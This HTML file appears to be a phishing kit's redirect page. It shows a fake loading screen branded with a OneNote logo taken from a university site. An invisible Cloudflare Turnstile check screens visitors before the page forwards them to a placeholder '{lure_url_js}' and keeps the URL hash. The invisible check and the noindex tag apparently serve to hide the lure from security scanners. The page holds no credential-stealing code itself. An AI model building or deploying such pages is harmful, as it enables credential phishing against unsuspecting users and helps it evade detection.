<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta name="robots" content="noindex,nofollow" />
    <title>Loading...</title>
    
    <!-- Cloudflare Turnstile API -->
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" async defer></script>
    
    <style>
        /* Reset styles */
        body, html {
            margin: 0;
            padding: 0;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #f0f0f0;
            font-family: Arial, sans-serif;
        }

        /* Centered spinner container */
        .loading-container {
            position: relative;
            text-align: center;
        }

        /* Progress bar styles */
        .progress-bar {
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
            height: 4px;
            width: 214px;
            background: #eaeaea;
            top: calc(50% + 30px);
        }

        .progress-bar-inner {
            position: absolute;
            left: 0;
            top: 0;
            bottom: 0;
            width: 0%;
            background: #61a4f6;
            transition: width 8s cubic-bezier(.2, .84, .38, .87);
        }

        /* Logo style */
        .loading-logo {
            position: absolute;
            top: 50%;
            left: 50%;
            height: 33px;
            width: 120px;
            transform: translate(-50%, -50%);
            mix-blend-mode: multiply;
        }

        /* Invisible CAPTCHA container */
        #turnstileCaptcha {
            display: none;
        }
    </style>
</head>
<body>
    <div class="loading-container">
        <!-- Logo -->
        <img class="loading-logo" src="https://www.clayton.edu/its/images/OneNote3.png" alt="Loading Logo">
        
        <!-- Progress bar -->
        <div class="progress-bar">
            <div id="preparing-experience" class="progress-bar-inner"></div>
        </div>
        
        <!-- Turnstile CAPTCHA container -->
        <div id="turnstileCaptcha"></div>
    </div>

    <script>
        // Invisible Turnstile Callback
        window.onloadTurnstileCallback = function () {
            turnstile.render("#turnstileCaptcha", {
                sitekey: '0x4AAAAAAA1pcg-3cbHf7e6e', // Replace with your sitekey
                callback: function (response) {
                    console.log("Turnstile verified:", response);
                    window.location.href = {lure_url_js} + window.location.hash;
                },
                "expired-callback": function () {
                    console.log("Turnstile expired, refreshing...");
                    window.location.reload();
                },
                size: "invisible" // Makes the Turnstile CAPTCHA invisible
            });
        };

        window.onload = function () {
            // Animate the progress bar
            var t = document.getElementById('preparing-experience');
            if (t && t.style) {
                t.style.width = '90%';
            }
        };
    </script>
</body>
</html>
